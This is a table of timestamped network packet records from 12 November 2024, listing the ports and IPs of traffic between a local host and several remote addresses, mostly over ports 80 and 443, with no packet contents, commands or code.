Nov 12, 2024 08:30:34.437164068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.437608004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437617064 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437622070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437632084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437709093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.437975883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437985897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.437994003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.438077927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.438077927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.442890882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.442900896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.442909002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.442923069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.442986012 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.443253994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.551239014 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.551310062 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.552881956 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.559961081 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.559978008 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.559999943 CET	49841	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.560005903 CET	443	49841	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.566103935 CET	49848	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.566140890 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.569169998 CET	49848	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.569169998 CET	49848	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.569202900 CET	443	49848	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.576841116 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.577280998 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.577308893 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.578087091 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.578092098 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.588939905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.588952065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.589063883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.589076996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.589093924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.589168072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.589168072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.589242935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.589256048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.589266062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.589433908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.589736938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.589905024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.589915037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590054989 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590066910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590078115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590080976 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.590150118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.590400934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.590415001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590470076 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.590579033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590589046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590699911 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.590734005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590744972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590758085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.590784073 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.590881109 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.591516018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.591615915 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.591629982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.591665030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.591717958 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.591793060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.591804981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.591818094 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.591942072 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.610827923 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.611341000 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.611356974 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.614095926 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.614099979 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.658792019 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.659209013 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.659238100 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.659663916 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.659668922 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.663964033 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.679025888 CET	49845	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.679025888 CET	49845	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.679063082 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.679074049 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.708606958 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.708677053 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.708929062 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.709108114 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.709108114 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.709126949 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.709142923 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.712014914 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.712047100 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.712223053 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.712919950 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.712929010 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.740015984 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.740087986 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.740210056 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.740278006 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.740294933 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.740303993 CET	49843	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.740308046 CET	443	49843	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.741609097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.741624117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.741686106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.741693974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.741734028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.741782904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.741796017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.741838932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.741928101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.741970062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.741992950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742089033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742091894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742103100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742114067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742126942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742139101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742167950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742367029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742378950 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742391109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742403030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742423058 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742460012 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742770910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742800951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742813110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.742830038 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742849112 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742887020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.742991924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743004084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743014097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743041992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.743077040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.743237019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743249893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743275881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.743628025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743681908 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743693113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743700981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.743745089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.743868113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743879080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743890047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743901014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.743951082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.743951082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.744168997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.744313955 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.744497061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.744565964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.744573116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.744576931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.744621992 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.744761944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.744772911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.744782925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.744793892 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.744812965 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.744867086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.745063066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.745121956 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.745364904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.745424032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.745435953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.745476961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.745476961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.745548964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.745582104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.745592117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.745641947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.745641947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.747500896 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.747525930 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.747823000 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.750129938 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.750144005 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.769944906 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:34.770139933 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:34.770168066 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:34.770502090 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:34.770971060 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:34.771040916 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:34.771354914 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:34.789858103 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.790009975 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.790065050 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.790488958 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.790507078 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.790515900 CET	49844	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.790520906 CET	443	49844	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.794007063 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.794034958 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.794091940 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.795202017 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.795213938 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.805754900 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.806057930 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.806118011 CET	49845	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.806143045 CET	49845	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.806154013 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.806164026 CET	49845	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.806169033 CET	443	49845	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.808336020 CET	49854	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.808352947 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.808413982 CET	49854	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.808671951 CET	49854	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:34.808684111 CET	443	49854	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:34.819328070 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:34.858717918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.858764887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.858774900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.858784914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.858814001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.858814001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.858906031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894196033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894215107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894237041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894248962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894259930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894260883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894273996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894294977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894294977 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894332886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894432068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894444942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894506931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894556999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894570112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894584894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894613981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894646883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894773960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894785881 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894798040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.894824028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.894834995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895015001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895026922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895036936 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895064116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895176888 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895328045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895340919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895354033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895365000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895379066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895381927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895401955 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895430088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895703077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895829916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895842075 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895853996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895865917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895874023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895878077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895890951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895903111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895904064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895904064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895915985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.895934105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.895951033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.896475077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896486998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896497965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896511078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896522999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896528959 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.896550894 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.896565914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.896864891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896878958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896889925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896902084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896914005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.896923065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.896969080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.897250891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.897264957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.897330999 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.897331953 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.975533009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.975564957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.975575924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.975603104 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.975603104 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.975624084 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.975625992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.975639105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:34.975707054 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:34.977639914 CET	49855	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.977679014 CET	443	49855	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:34.977741003 CET	49855	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.977998018 CET	49856	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.978005886 CET	443	49856	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:34.978084087 CET	49856	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.978437901 CET	49857	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.978478909 CET	443	49857	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:34.978530884 CET	49857	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.978920937 CET	49855	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.978934050 CET	443	49855	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:34.979044914 CET	49856	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.979054928 CET	443	49856	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:34.979151964 CET	49857	443	192.168.2.5	23.221.22.207
Nov 12, 2024 08:30:34.979163885 CET	443	49857	23.221.22.207	192.168.2.5
Nov 12, 2024 08:30:35.010905981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.010972023 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.010972977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.010986090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011015892 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011040926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011159897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011219978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011254072 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011266947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011279106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011291981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011316061 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011333942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011579037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011600971 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011610985 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011657000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011677980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:35.011708021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011718988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:35.011732101 CET	80	49809	185.215.113.206	192.168.2.5
